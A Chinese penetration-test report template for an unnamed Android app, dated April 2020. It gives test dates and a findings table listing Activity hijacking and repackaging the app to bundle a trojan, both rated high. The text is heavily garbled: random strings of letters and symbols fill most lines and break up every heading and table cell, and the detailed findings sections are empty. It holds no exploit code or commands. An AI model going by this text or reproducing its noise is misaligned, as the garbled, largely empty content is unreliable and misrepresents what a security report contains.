! O5 X" q# _5 `2 m
# w1 X" I5 s" U/ ^5 c' b
( X* s. G% o2 v _2 K) P2 V
8 a1 {7 x5 ~ {7 u2 H% a
8 D1 i8 T. i! t. v" B7 F
- h( T6 l0 `. h W" S! X: U, y
- ^, U. T3 E% O: H4 \; R& N( C$ T8 F r1 ~3 L# c6 f. f
4 v$ R0 [6 S- a& G& X( }
! T% W' Z- ^1 J7 c5 d8 l0 `9 b
* j P8 Y: |+ F7 m- l
) H# X7 v- | w 文档编号: ! p' E6 K! @6 m& p' h6 {8 ~
. C( \5 |% N) _6 o7 L+ Y+ e0 K" c: i* V
; m' y j# d+ T! b! q: S. }: w
$ _1 ~2 [' Z; }- f% H% ]8 ]0 \ 7 N7 \' o: P6 Y, Z* Z+ n
4 c$ d. k6 Q; h; y- x+ b
7 f+ c$ {$ Y6 a! x/ a# Q. s) h0 G* e
( L! _6 F* a! `
# w- a, W7 G" s9 P
: q! B" N: x* v5 T$ U8 A3 n& ?6 c
. {0 ^4 V; \2 I- P# f! H; t$ y- M, z4 i1 v' e
i* u7 {" r( Q! P
& U) f( a H! q
) Q' S; t* B1 `( U( _# v8 o1 l/ R4 H P' c3 \4 ~
O) {+ C' _ n# K" L. z; p O7 y5 m- I7 u: G
2 W f9 T! `& t B" b6 v- O( d g: B) D- Z' g
( m' k7 N9 K+ s" n3 L+ |0 z+ F2 j
3 S6 f3 D( q; [ F2 v1 o 3 y' k. l; P; [% m3 y6 X8 I
% ]% ]( Y7 _: I. n6 S
( x' L! x0 E5 c# ?; {4 _8 x/ ~8 h3 j1 G5 O( Z! p/ z
/ W3 ^3 Q6 o4 ^6 c: M' \/ O) M3 U& m* w1 x7 X& S
: H& e9 C4 I* c
9 W3 b9 N: Y: r$ k9 C1 C
: `4 Z1 c3 [5 A+ g2 K
1 P' ~% @8 y, f% h, Q
9 T5 ^; |% H: i5 S5 h6 U
& H" P/ R1 h3 t( d! j 某某某APP渗透测试 $ ?1 p' q5 I8 I2 e' p) r
7 q& r- N0 w/ S' L( K% M' B9 U u
2 U" V# O" x8 W: P- t v! T9 N1 x# Z7 q7 _
, U$ X ^2 _: p8 [: \# S {. M
9 o' h5 i8 o, ^( Z1 t, b- C
& x: B2 r5 b5 n) {" Q. q
( _$ F2 p3 C0 @7 ]' P# x( m- x
8 x" R$ K" t5 h7 O. q! c; s
% z$ Z" d# E- l/ L7 u: r. y
. W8 L" f! c/ {7 H5 P' H2 V
( A- s6 ], {4 E* }5 D. L
/ @, z5 V- `/ Z, \1 p3 j1 o3 J
, k; W, r+ I& O+ m6 O1 U% ?' c, A
/ }1 X; c. h, {* C* q [
1 K3 n. k! F4 {# e3 _5 h8 l
1 Z1 g3 }6 X4 p' v! s& N( p0 ?* ~; z
% i3 H, x7 F! i5 X
; l$ T; T- h/ E* m1 e
' j1 ]+ H: t, P# a
; a5 L) E3 t+ d. D4 \: g
9 h6 J' X, ]! m9 ^4 L( p* r
: y& I% b$ N. F2 d# M
, k9 o4 o9 Y4 F3 ^. k9 m' x3 O5 r* t' x; Y% w. l
& ~/ l* M, h2 q- z
, a- p0 H$ Z- t( [6 B2 i; F
5 m' g: d# g J% |+ @
$ @; B) Z8 @: m% Y& K& z 技 术 报 告 5 M( c2 Q5 W( g5 W, V$ T# N. o+ f9 O
& Z% M8 h2 W2 |
0 P" @. Z7 U6 _) o
r- [8 U5 I T, l" A. d' E; t3 n
. ~0 y# L' h) Y0 `8 c/ M( V4 w/ l: V7 E& C- Z4 F. }+ ]9 v% L, \
& L; Q1 `% x# J8 v( n. W4 ^2 h8 ^% `6 R
, m3 K3 q( x, t/ W* t0 \2 n. T
/ U) D% k+ v; | _1 D( s6 y% n - l! G. N$ p2 n+ v
2 y2 k) M+ F" H+ O3 J5 U; u
# j7 W: b+ d! z
( Q# v9 I8 {0 \6 p. j
9 l, i0 A/ G$ D1 ]6 F* Q3 Q
& ` D4 n! ]# S0 W/ E
2 ` z. R# e0 w$ Q$ y3 s- F9 j7 D5 v; D- X6 i
) u' F/ G* O: s
0 Q: E5 |, o( m5 j) `
1 x% i1 [; K0 ^$ b, R! G K
3 E4 [# K: ]' E
# P0 v: Q; N1 f5 Y: _
: e6 N! T* c0 E1 O- i4 S
' {( q4 C+ W' b9 U1 T
4 S! o' D* U C/ t p" G, j
5 `$ p# C! L0 }# j4 B* m3 X6 L
: R7 h+ a+ V8 `4 N$ H8 S
: d7 g3 K. a: u% N
: ~6 c% r; L1 N
2 v: j% t+ |. M; O% s7 ]6 c: s) o: a; T, q4 }
I& D P$ e$ V% E/ A
1 \3 m4 }- p2 f# G! C, S
R0 R6 |* ~/ z$ ^5 b' g: P R
/ `3 {7 f# }7 L
% j, J3 H% p C, \! j0 M' F2 P ]9 n; w
9 U$ q+ I1 K/ ~. h
: y9 B! X1 C* \: e 2 M) Z- C1 A) M8 [9 u. r6 e
, D3 g8 N8 }& y _( K
" W- \5 l4 s, u3 N5 M! Z" r5 n! J" Z6 H. o) l0 Z$ X* \
: G4 E2 ~0 o! W2 B/ c# N3 @
& `5 E/ q7 o( r
+ t4 V# H; L$ a4 @: I! [1 P4 s! c
3 }% N& w/ c8 ^+ b" Z2 O 3 ~4 p: L- A( P0 E2 F+ O
' ]* D# Y$ {5 R4 _8 o# R5 m- s
3 K8 p0 W4 m- k( g+ k1 G
3 d8 G7 q5 J2 |' Q) Q " E8 H+ m# |8 `/ Q
* V8 I5 b8 D3 c1 w! f! A
' _+ j5 o) l% u, e* w' v1 Y
2 l" a) {% |7 o" o7 C
+ p6 _/ q9 x4 K" P0 o( Z( I7 v6 U9 y7 t
d/ G" r; a. h' f# h# `/ s! X& _& K
/ H& W- J- J4 H/ P
* q1 u5 ^3 U7 w4 T
! Z( R/ \6 [+ Z% m) k+ a
$ K& W- p, H7 F8 J; y : T+ @; x4 y- S3 V6 Q2 _/ o9 I
' A1 w; o4 T: _# R# G( n
3 J' o- i) {/ \2 x3 l# \3 L/ q
3 c1 z8 ~5 d* B& B; g* g$ G
! [8 Y' ]- |1 K0 i : r/ t/ e9 m/ i, L! A$ c0 w. J
/ ?" ~) j' a* Q3 x+ M+ \2 C9 v( l
8 _. x5 y" p+ A4 S9 u! V7 I" _5 A% @ L; j' V
. Z+ h- d0 Q2 A- a" T; z; J# p$ q4 D V2 C* R9 F1 [- R' m. O/ ]
4 \0 o9 j" s3 Q, D9 I
' O9 l' i2 G9 @' Q$ f" s
" e, l0 X: u/ Q% k. M1 g# i& K" P/ T% h& g3 l1 @! { p
9 O8 I5 l& D- y L9 d$ K9 f' V9 ^+ [2 t8 X1 B5 {
! f% q! {2 P$ y; ^
$ v/ {1 e/ v* J' {# y , B& V7 W9 D( b; h) z9 |9 H7 O# u
' e8 M$ n* W _: m
% d% C7 M3 [+ Z3 i: D, y \4 U
5 \% g8 ^# F3 X7 H5 C ! M7 V. p: ^& y; L O @
) n2 Y1 F0 k# G
& d/ ^0 N/ f. r$ d: Y4 \- d
( M# \* G. ?7 ?' f' ]
% A5 M1 D9 m) b) Z9 |% [6 V+ T! G$ r
5 `+ v+ Q+ U4 j2 i
9 c" B+ r/ O( d
. s( b$ w0 @, _4 e
0 A' \" H/ H( |! ~
7 y1 }; V) K2 r# u7 }% T( w3 K
' t* f! l" y, y/ e( \8 W
. w9 b" A; Y0 q2 I7 { # S" ^/ ?( I3 m' a) R+ {* ^1 G
! R0 W; }- x5 r" a
9 A3 M$ C U* d* ~
* ~# M, t6 e* ?; j9 L
5 J2 G1 W" C+ x3 k- m$ M2 Y4 m/ h9 X/ l
" j0 I! S2 x) |% q1 E9 c0 u0 _2 f5 Y
/ m$ e& y* M- @ H9 i
: a( F: {) X' V8 Q
: y- `" m/ H f3 O3 p: k2 ]" ^' t' L) U6 \3 _, N9 B F, i" i+ t+ M
, u4 H9 x) g! j& G7 z9 g- y* Z) a0 j2 h
二〇二〇年
9 P/ L+ s3 B- c7 }6 S
0 i! z7 D$ x1 D* \/ R
3 Q2 g% \0 ^) A o; K9 A- H: u1 e5 F2 y) X
% l' o3 |/ Q% B* E. j" j; d6 Y
) o/ _9 g6 M D: y
7 K- D3 D7 c- i+ P7 Q) ~2 V. w8 h- ]) g- `* c Z
: H6 ]8 v) L: t$ n2 j
, V# ]6 r. R& r7 ~
7 E2 _" ]8 \' n! r" w! G4 {- n0 ^" r; o9 k# E6 \- K9 \7 g
* U5 q! F4 B* Z3 v- a
! } L( Z+ u4 G# y! x0 F' G
" O. Z. r5 X, [3 d4 ^6 M
7 A% P/ l+ S) m
* I) i) b7 f: `3 Q% n( V# ]2 H) I e, x4 U+ O2 M
0 z; w2 Y/ p4 u# y# p
: P, [ W8 V, R* D
! U* [- T& L! l2 n+ ~" e0 j( j
6 @8 Q2 Z/ i) Z& \. ` 目 录 ' J- J/ R$ D' _$ W) k0 i6 W$ M( h
. W4 }& z% ]; a* F s1 q
G3 R3 M+ a2 f9 X6 A
W; F* d2 v7 d: r* X! ^* }- z! ] 2 r4 k7 m1 y) Z& L1 v: R
7 L' D. d9 x; K6 u$ |
+ p" m# p. y+ C8 h; I6 G; X0 r; k4 c1 G# _5 A* c" q
6 w" D1 y8 ]5 O0 O: @. \9 d
: [6 f5 H6 ?" [) ^' X# P
/ t/ z/ c. w3 J) F
- e$ F- X0 J' q5 t3 ~9 e
- w' i/ C" M- _0 e" c+ l
9 _0 _5 D9 b+ d' u6 w7 Q$ b) Y; [
1 概述... 3
- b. d$ t$ k* v* A: w1 N+ h8 E; s
/ |( s+ q( I# }! c1 g, s
5 C7 K& U) c" R! e
# J9 I8 i' F& @" w, b1 C
, G/ i* b! @ q2 I8 Z) B1 ~2 D3 U6 f+ i$ B G; j* f) `
1.2测试时间... 3 : Z: x8 P7 ]( K
6 ~+ }9 t8 j% I- K2 f) U4 j
0 \4 k8 o+ x! _2 C$ P% x! M" X A2 { v+ T' ?6 X% H: r: Q' n8 Q
$ R- _8 k' e; K3 ^; D
( L8 O# F# y+ k 1.3测试对象... 3
- U: Q% E* R9 _" f( \! l
7 ^, O# z( x- f L, Y
0 t+ A/ J3 y+ R4 P
* i: c$ u" `! g- U
/ G k" }' Y, ^. B
, k0 C$ A% G. { j1 s8 \4 h! A4 E7 R. U 1.4测试结果... 3 3 k% d3 Y7 `* d5 e
8 y% t( l4 Y+ e7 g+ s2 A
( }$ _$ e0 }$ s9 R% h9 E
. f7 y+ C, F; t& e W+ O S$ V1 o
# o- S O- p$ D8 ]/ j1 b1 b. R, {/ o" |$ W, X2 b
2 检测结果... 4
1 S$ V9 x2 |1 ^: Y9 S5 O" P7 z* {- |/ c
2 R% Y+ q) m( X9 ?. S: e
9 G ? V$ _2 X: l2 p1 | & C" H$ m) M6 I
_: t$ ^: [$ c9 v8 N 2.1 某某某... 4 6 [. B+ p! n# q y5 k9 o# v5 k
* f" {! Q" a( {) X. y0 g/ B
7 I/ R1 d6 g& w; v Z
" h1 I; b# k8 Y" o$ H3 Y, V
! {% C/ b% [7 u' n
$ d, ]) L7 [+ O 2.1.1检测目标... 4
3 Q( K6 I+ r0 H, m! f4 B- @
- u: N- C+ g7 G3 x! s4 y
5 K7 y+ U7 J& N4 i& e2 W0 i Z
8 t/ }2 L7 D3 r- J: ]& m! S
7 b% ^$ U! X \4 `. T! n) z4 N9 O
# W# f1 B3 u$ K: f 2.1.2检测结果... 4 6 @0 [9 r# C* B* n; [/ ]. e6 p
$ G' w( f! C/ Q+ p0 B2 E" i
! q e% p! T( Z' b& m7 Y) s9 }
2 M3 n6 r3 p; D" ?7 ^# C
9 x# J8 l* ^+ ]7 ?% _5 t
1 h' W/ e* m# h( S 2.1.2.1. 4 ' @! T+ G3 a& ?6 x$ H/ }1 X# }7 m
' H+ ^( h" n* u/ Y1 y5 a
7 T2 G- `# D& L3 B" V, U/ m
" W8 e4 w# @7 S) i 4 d* i0 `$ {6 J' `" j( a* `6 G
0 P# X& U0 r4 F! V0 w" Q
2.1.2.2. 6 - X5 G! [! v0 |4 n
1 {/ D' T& T( j! ?3 T6 l
9 T4 _1 v# o3 F5 u
& b) {2 @6 i" b" P" n p2 E/ C
1 F; o1 \* d. n; h
2 s( q3 j! z% B. b6 s7 y1 j, | 0 k& M2 h5 h f2 t1 f, Y- z& i
! ?/ W6 t! w3 N9 n4 y" Y) l6 b8 V
9 T3 l* q1 G) d1 r; T; N* m
0 z5 u+ _4 @2 q( V* [$ O
( v1 ]( C# }- Y2 p. `
. R7 F3 J# V8 a9 r8 q 7 q3 @8 s) _1 S* y. y0 K6 w
% i- M3 C, _- r5 W' F* V
- \3 a% G' e! C( K, `9 C( j1 ~
H! F/ _2 V7 I% T5 {6 G+ R . ], ~' \2 T" J: S& Z6 Z
4 X4 K( C ?! [8 s% l
$ o. Y) p s6 ]7 ]" k) W
. o9 u3 v" {0 G2 [3 f% ^ 1 概述 * x* a& {2 @* W% x# S( c
% F) t" N; A' ~( l: a
9 f/ H" u3 l4 K+ q8 F, l- F2 D# S
! j9 h* k9 @: ^9 h- o % d9 g* l% M( x Y+ X [2 M) ]
. j2 P3 E: _3 f1 d* E. N" x 1.2测试时间
S, E! ?, D8 ], S9 M7 s
( R( |% y4 ?# Z+ |/ L# }% i2 D9 M% u
" ? X' ?+ u# C* R0 j# Q. V+ w
$ L9 R* X' e' {5 V) M9 { V
4 g! X4 a- y4 B
! g% F! d8 k* ^- b* | o U & t9 }: n+ C0 ~. y- }- w; j# N
9 T3 n' _* h, Y& \/ M
( } k0 I; w/ L+ A3 D
/ w# |' Q b9 p2 l# t* a
# C, e" a9 g; h* ?; R* Q: A) a
- R) Z% P. ^. K; }+ I% W: L # k T, k, x/ h# w
5 J r' ^ Q1 L; L: s" e* w
渗透测试时间 3 n5 n2 X8 S' ]3 E, o/ P+ F+ M5 [
/ J5 J" ^: G% [
* ]' D( e6 z% L1 n7 y. o8 h0 L
* ?& X4 u- O% f: v! y! K | ( |; n, H9 I& C& X& T9 _( h
: w- Z) Y$ i$ x+ ]
: q& t0 B% \( M
( m4 f/ W1 Y: y2 r0 C/ S ' ]! f/ A: ^2 m$ O6 Z! A
! `* x8 \7 A' |1 E
% e, \3 a7 T' c/ c; T% H( O& w3 e
1 G6 S6 K/ K, ?
G2 e" o9 ~( H% `* o. L
6 n9 c! r, i# P0 ^( F, e% c3 c. k9 J d 起始时间 ! R0 N* {7 H$ I* N
- T! x- d: c: [) t- r ! m$ X' c. L; d# I
) F1 _4 ], y& M
|
' ~$ s. B; J% S( |3 A* \, R8 r
& B" _2 c A: i, {0 F7 V+ R
: |6 A" o- q, E9 R4 k
% z7 {9 x3 B% b8 i* c# o ; k; I1 Y# C& K4 G4 ?
$ Y- K7 Z1 [% a% ~! J0 I 2020年4月6日
4 j1 F8 F* t# x4 t9 E' t
6 M2 d( o/ s7 {* g
$ Z& W R# l: w* w
9 [. P* T8 }: W5 ~ | ) [! ]) `" b) ]2 f% H# W
! k. k5 J% t& d; u9 ^* C4 X
( v% p1 J" x# I l
- m* F0 q' s) m, G, r e # o1 w0 `. `# l3 x# K) D
0 U4 G, b, a) u! | / O; e: ]/ j; z. K. k! ^( B$ t
+ e7 r- p* G7 h4 Q% s4 s & h% s3 R0 x+ e3 u+ R0 f
+ C8 Y7 F& g: a A6 u- t
结束时间
/ S; ?6 b$ r1 [* E4 H$ Z2 F' x( q ?0 U+ ]! [0 s: i) ^
+ A9 B9 s, @4 |8 z
( _1 d9 I6 f& _4 w |
; V3 v# K7 o2 k8 Q( h; @5 q% u* e) A! h& S% L8 [9 L
4 }4 u7 d6 N7 Z9 Y& M/ [. r
0 O& C0 P' O, r
! u; V1 C, ^; `+ X7 P& f
/ t3 x2 B) S1 V! X5 p0 I4 ?' Z( A
2020年4月9日 4 z& g6 R8 O* r0 l s# h
2 E3 X# }4 H; a. g$ o! R4 ?3 L( H" |
, {$ l z) M' P0 P$ r0 W# h: U/ W7 q3 ]2 L2 p- }
| e( x; _" n2 C- s$ E( ?' |# ~
! C# O+ G/ }8 K) h4 {
) O4 O7 Z+ m( [" O2 p6 }
& Y0 E) g& [* K9 R
: H5 ]7 d) T; h9 i! G8 R
# g; e6 |% l. k/ D
& P6 c' ]. m& ?2 ]9 K% \* b+ B8 Z, Y; L1 m& a
2 M! @+ ^; w$ D+ s
! m2 K6 s" d) q. k/ |) L
1.3测试对象
$ s% S. X% O) F, O; \' ^$ Z& ~5 }) l
* B# p4 ~1 x- i8 H! R( U, f$ K2 ^' Y4 s6 N7 \3 \% j2 _
2 z( n+ Y; g- U! I9 X) l
( V. N: ^, o( I4 a9 ~- u3 j9 J& b0 i
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
: g' F- |6 |/ Z. Q1 b" X
- X {% w. }& H3 p
4 m2 Q! I5 n; n1 k4 C
- ^2 D5 T2 Q) Y4 l. W
& p/ K3 F$ s: t! f0 U
; {' W1 i) ~2 U. l9 n0 O# ~ 表1-1 检测对象
& U3 x5 s& Q; B* F1 C3 ?! l. D2 N+ t
! j5 f) Z6 R+ s* ~5 g/ H
! |3 g7 p- Z3 _+ _$ C% R: j# K
* O% H- t; L, h9 Q- X5 {3 Z! P
6 f/ P, C* }) W. w: _, S3 u6 J# `8 r' c
1 X" [9 G: I4 x, r3 ^) s
* E1 Z% g3 W* j s H6 ~/ y 9 j: T7 }6 t# h4 a% t$ c2 f% @
/ C q6 \$ s& l( x
0 l! [8 t; Z/ [9 c
7 a; k9 |6 G3 u" X; |4 c
+ a0 `3 [ T" Z6 b, a. a# J2 n! \6 @! o0 ]. i' a
序号 ' K$ G1 d A0 [* E' B3 `4 C- m4 g
5 z/ ?. Z. A6 T+ {9 k& U& }6 g* W# R
1 W0 e& D6 j$ p9 G' X9 \* ~: d: \, u: m, [# M' f3 Q
|
7 u" c6 `. h9 X1 y2 ^% j( Z4 C1 Q8 Y$ l4 S/ Y. G+ r( \
' i6 ~: R1 X+ p0 v* a
% `1 H9 A' d# G, ]( O6 F* K6 a/ S% Y
) S1 X* a1 z6 E5 j# t$ ~* w8 v6 X; s X/ v( c
测试对象 ! R3 Z1 K. |) \. R# A4 ~1 Q0 r
( V4 J; u) V5 b5 K) b
: ]' Z( _7 J/ L$ g$ X" o6 ?: C
$ f, W; v0 F2 _' y |
3 z, Z4 S1 U) t; b; j. j! B$ p$ p
: X8 M4 W8 z7 c" t* d
$ t% K0 ?3 K+ h8 R. [! H, P2 I& c: C8 r) k9 x
+ C+ D4 q, v# }1 Z( h0 x* [
- \1 p7 G+ j/ n! X! o: }% R 测试地址
; n0 U7 B( S e" a) b( M6 y' R; p6 ]4 q, x3 _' n
9 s- H" \ I" a8 W4 H4 }* |4 y$ g0 y4 r
| : C6 e' g1 `" b7 E& g8 l# v. d. |) O) r$ E
4 R5 E& U" _; h7 `
1 ~- J9 Z, k9 `, K7 \
2 O- c$ j6 o0 P2 F6 _7 ?
# b. a+ m$ l; R3 P8 O, {+ T
0 E& l. ^( S/ \4 P5 @ 安全漏洞 * K7 M+ X' ?- O' |7 {7 l, v
5 H5 B( }) f2 }; H, ]/ \( B
; Y! r8 ]/ a2 X2 L% F" m' @ S8 q" g0 f9 D
|
' j) W2 J& \. v: d0 D F4 s7 j4 t' ^/ k2 V1 d& R( N/ C
- y2 |- s; |; h7 [, T! W7 O
) w& @' u1 Y; P9 f
% k) g; D. `5 o" H/ x6 m0 Y
0 x2 V W9 m4 t# e' {
$ v9 ?3 C7 L+ u/ l) V8 f- J f1 V* `' t. D/ a; l
- _* Q/ O* I0 l# h5 |
, C5 r# n5 {$ P5 w' ` 1 $ P4 ]. _8 k5 v
! p. B8 j& k1 h6 t0 O6 z6 y+ Z
n' t1 D0 e$ Q; W2 r
- X3 i5 H: t; f2 T8 O: o' i8 {' n& Y |
. k2 w2 S; y& w5 T) ]1 A4 m$ `, H1 `) r L N$ D* ?
# h" v( O( x% r0 b% _. Q
0 y2 M6 h- z$ e9 B0 y7 ] _5 P5 m) p/ S+ Q5 A b
3 E* X9 n* f& t. R# S5 P 某某某安卓APP
2 ^; i- w& E. C) y% d7 q) j% ]& S! B1 ~5 Z/ ?
9 _, G/ _& q. D9 y- V2 r
% b' C1 g: W" f S0 Z0 c
| 4 G4 f2 w7 E) s1 W R9 }
* Q' X- w! s* F6 E: }
5 h8 ]3 y6 Y: U) H6 a$ y! \0 g) c% N
8 X, ]# \: A* c# c( G! L: ?# N+ M) f; A* {# \2 Y& P2 F
( @# o, {" I- s' v$ U5 E$ F
A# D [8 U+ n5 r! i
3 M! m: }/ u4 @" z+ i( }4 G* Q# Z' U1 i5 M0 W! @4 v
| * s; f& t1 Q! C" g1 n
0 F- `; D! f( x- q, t0 i6 X9 k ) p8 b9 a9 ?1 r# f
3 Y) {2 K. M) M( y% Y n* j9 V* g$ U: ^) d2 ?" p" I
3 j, f. C% |/ | 2
2 Q# ]& Y7 B! d
. P# n. s% o- [2 A
4 a; c& X/ s- X4 y0 ]1 m9 [3 g- N, E, a
| 2 N `5 S, I0 J* [& \2 @
+ G/ R# e4 ~- r b- O# ?
! Q5 B6 A8 T) p, w* J* K5 I0 P/ ?% c$ c. H# n' A$ {& D/ p' ] {
% |; O% t, O/ r0 o" |- X
: z8 H" v! R2 Q0 O' B
5 O0 p) P, [4 D p
2 Q% d& X2 U! b& }
. N9 o7 D1 R1 s0 u5 ^" B% `& Y$ Y) U: r
1.4测试结果 4 I2 ]# G3 W F5 b6 B+ F8 ^% C1 T
& m* F/ x9 j0 N% O
0 Y( A' J8 }2 |& G& i
1 m$ m; L: y, F' j& J: A: v
! m! x; F& l, o$ Z- f2 {; R9 B- E) A7 t) `2 e7 y l+ d# D0 i
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
; m. T3 J& H$ h/ u+ L! t3 L. {4 n. T) j2 S1 P
7 D- E+ s6 P& V2 t& o7 y
9 r+ ]: e" k5 V7 U
; `0 O4 _. r# s1 E) K% j
1 U7 G$ U, _: u o6 R# y! C
: ?5 C2 d5 B# J( T& b" w: o! u1 H' D% L% z
0 c. V4 ], Z6 D! Z O
8 ?% _8 V4 ]$ K6 T; a/ k6 ? * Z4 I. V" o1 n
3 J3 c0 V- ]/ [$ \7 O+ Q9 e4 x4 f & U. Y1 ?, C* X h9 A+ h/ e
3 s3 O6 V6 e3 f4 f# [
3 y" T, h! N* w2 a3 O9 I$ \
& e& G3 _; z4 b; h 7 Z9 ^$ ~' F8 E8 C
% P" A. \# M; b Z
6 H+ L( l7 H& Q; D/ ^# K- N& J( k' M$ H/ G+ S
5 x1 o: ]9 {0 _( R
0 @$ e' o0 t5 K$ x" O q& V3 }
序号 6 K$ c6 M! h1 {+ t4 ~1 v. X% b
, W6 y! Z+ _7 D9 B [
/ G" W1 W5 o: }5 v! [5 U& k
2 R+ d2 J, t6 }* z, h8 w
| ; L4 l, F2 [" }, R& [( q& l1 ?- F
; D. C& R3 _ P' G3 f7 g( g5 N
' C8 x9 E, h5 F' P+ C9 B6 ?# [; u* F7 T5 f& ~! u* r+ B) W+ k! F, l
" }, j& l8 ]' i$ ?0 m, C4 N
" F* r( a8 u. F 系统名称 4 G! P& F0 v* I# X4 n* j; Q! l# A
; L; d0 M4 L- r* K$ g& Y$ o
4 t. X; x+ j" m' V, Z8 ?! t/ R; r$ M% |0 s. f* J5 H
|
; z0 K M; K7 }, A) q& m( v( g3 V3 W& G( Z H* G! V- @, W
! Y2 v6 d* B2 G4 @
+ F. q) ]& O- G2 ^8 u0 ?* @( g
) t+ e* ~" U& j) ^- i
: t# x3 H* b7 W' ~5 p @: _
漏洞名称
+ o) Y; \6 I" Z" o' S: X6 T0 B- p! N F
4 T" S) Z) u# d) z
+ E( x! q; Q$ }6 I! l | 4 c' ?5 ]1 Q# G7 `: d2 ?
. d- P: F- @5 g& g5 q* H
) o- O$ o$ `4 a9 F4 n& U
8 ^9 K% `$ [2 \( U9 n4 s
! L! f7 h4 `' |
( X( I! e5 `; U0 b' I
漏洞危害
6 _5 H ?; V6 I: e$ i0 o. s+ K1 `7 S5 r5 c2 l
1 |# ]& y2 S9 c& [5 {
: v4 t9 `% l+ n4 P* @4 d |
5 { }2 Q5 d* u `& Q6 C* _$ O3 D) Q4 k/ G t5 W+ X m9 e
" x3 A2 G3 ^' \% ^) A$ E
# B R* w# G! H) i' [ ]! S# R! b
9 }. E, k5 s( W3 b% H" e' o* ^2 H6 {4 S: u/ K# J
修复结果 6 L4 Q' ]/ N+ O# g5 ^
+ _) X, J" _* U2 U8 f. t
' F4 m8 Q) ]: f0 e2 G2 E" Q
+ e( C A3 s0 i6 F; y |
# y' `; P! b; S9 a; @
* @5 {7 u6 z& [* F7 K. b
1 I2 y$ p: R0 X2 S# d
( H, l: n! d: E" \' z; | 6 I! b4 E9 d% G4 X
; v" |6 ]0 ~% ^* D7 i . |* O1 ?) c7 Q6 _$ {* q3 Q
7 I& t, k1 }& r6 P# r }& R3 d
% C$ E3 C: J0 j: ?8 I g3 H" P$ d' T" q5 g) j$ c% e' a9 S
1 1 \! z- x/ q8 e
& g V- f$ e0 x , V/ O5 {2 F/ C
# E# ^+ `9 Y! y, o5 v0 ?
| ! H1 V' a6 J6 c$ ?8 {! R: a b& `% l
! [0 @+ k+ }, L8 i# w
# E. ^2 p7 r0 w& E' [, O/ j/ H }' O0 M7 l0 Y0 [
2 A) `! t/ I/ Z# D1 r# k: Z& L. Y1 i' G7 Y- S: \
某某某某某某APP : I& n+ f! i* c" L
# f* X& A* X, q$ P( M+ R! r
. W" J+ t/ k1 E" R3 t' T
# j r" a% j" J | , c2 V; {; v& y2 G1 J
/ D0 P& L7 t( M' H " }' m. l' k4 {" T/ @
" \& p* z! ]! c1 i! U
) k$ H9 c7 v# s, \
* K- C/ g6 m9 m7 ^: j6 V* m
Activity 劫持
1 y+ ~8 B& P" V9 X
$ @; Y0 R3 M, M6 b( m 3 m8 G& g( M) v+ v5 D
2 k. Q! g8 h3 b# w
& S* i* k, ~- @ d" O- ~# q% R- a# P; [. \
" K1 v8 e; X; R9 }% z
2 b; |; S0 ~! d3 n8 g d: s/ H
2 O0 C- `8 N0 r. U% r5 D
( q0 X$ I t$ L! Q2 D& M | ) i7 \$ U. I0 ^. | A( m& O
* _0 d" b- `7 m$ u! g* u
* s& z( G( P, {: E# t# @3 h
; n" j. Y6 z2 U6 O
/ C8 P. ]- G: |+ R* T
4 P+ N6 J- K- G/ ?# b7 B3 L 高
# ^/ I( i g9 _6 E( U# }2 d! \* U9 V
! K$ ]6 }" X1 ]- S$ P, y3 d
; H) E j& B6 z* I& S* C6 ?
| ( @! R; `% c1 Z0 c8 D
% y$ u& N5 V8 ]: ~1 E' M6 t
" T; H2 J* b* C' l% t4 |
8 H7 J' Q3 l4 j/ W
' z, J/ F5 H$ k; |" A
5 A9 p9 J F7 f4 b8 C * {1 d+ ~9 l/ g. h
3 i5 t2 C# T, L9 s/ `3 E5 P9 Y
7 c9 I, Y7 e2 y0 G
5 G6 @# V: e2 B A% }" w | : L# o: M: J8 t& O, U- U
V% q3 b2 d/ |) c+ C
. g# b; E/ q. ?. E) j: B0 }! {0 x0 {3 F$ {: G
/ I2 z, q/ b+ l* u. u" o$ L
6 I( @9 E9 f9 ? ; K: Y# D) P* W9 a8 j
6 Y+ A# [! \4 _
! V$ W7 r, D) Y0 r1 N0 A: i$ @* S
4 Q5 B# S) ^+ @* G4 m! f/ Y Z
2
# C' @/ V" f( `+ K# O1 {- [: H5 {- G* O! ^6 n
' H1 j& T: a2 `* l- C' [9 a& X1 ]
' a+ ^9 w: E- E5 Y9 Q | ' I9 Z" K$ W4 `% r- N& Y) n& a
7 u% N1 Y& }0 U1 l2 W1 P
% m1 e0 ]: { {; z) |8 w& r0 D
7 h: `7 u' l% c0 V) b
" @! u8 i Y$ e$ F, u% y
; W0 O5 I' l* ^ 某某某某某某APP
+ `9 A1 Q& D( L. W, K( h, l! a& n, @5 S
' }( x$ ?; I- t2 {! S
2 K2 |- E' N! ]: G. s | ( ?- m2 }% _. J* U6 A+ b |+ O
; B I. L% }3 X! Z
! H& q5 |+ U3 U4 a
( V4 q& Q% h- t. a( e7 \ $ h9 c! [. g& U8 ~5 R
1 H$ e% m6 F6 X& _7 l* o 反编译二次打包捆绑木马、篡改APP代码 + K1 \$ R- T$ K
r% Q. B4 p* U }) p+ ?
% G% F3 O) `! h- Z C; v* D
6 Y) w9 y. e0 w8 S | 6 ^5 E8 l' [0 R) Q! J0 j( |
( E ^) C0 f* ]/ @0 Y4 I
. K, Y( q$ a! `! e- n# P* M3 v7 C% }! ]2 n' ^4 w: C! H9 k( s
0 U7 D2 ? f6 ?3 k1 q" z3 i
) \1 |. L! x/ N
高
0 t6 h" X! [1 g7 e& W o, O$ ?5 h8 T4 r) h( x
! c% L: L8 T: I. Q7 e2 e0 Y* [3 q5 _) t! g. Z
|
! {: `# H9 F+ X" b# C
# f0 _/ q0 F2 X, l: }) c/ _) l
% E+ o/ a/ [# q1 \& F* X) ~, H
& h# M0 ?, R: Q2 ~" R" X1 K. R + c, A5 w+ Q: {! T
: o, o0 F( P6 I, Y/ ?/ c& ^
5 a/ E5 O+ J, y0 a. [4 T) S
3 i2 ~2 \6 Q) t# b4 f5 H' I3 {+ i ) M6 z6 R z! X L; ~
6 x; H5 W$ L U: g4 L2 g& D: j0 n
|
% p. v4 F0 e# B; }4 B- \: G. G2 I( h8 J, s6 n- Y; M9 s: |
$ f7 _' J' ]% \( t$ I J- C( b" {* R8 s+ L! Y" F; P
! }3 T) F6 a! w* E7 c
+ f* z, U7 N# \5 x7 {, E
- h, q: x7 O. o5 B& |* L+ x& p4 q; ^3 Y
, ^$ ^7 d; X) r, T. T
2 o/ r! ^4 v- C6 F8 ?$ T6 d2 P
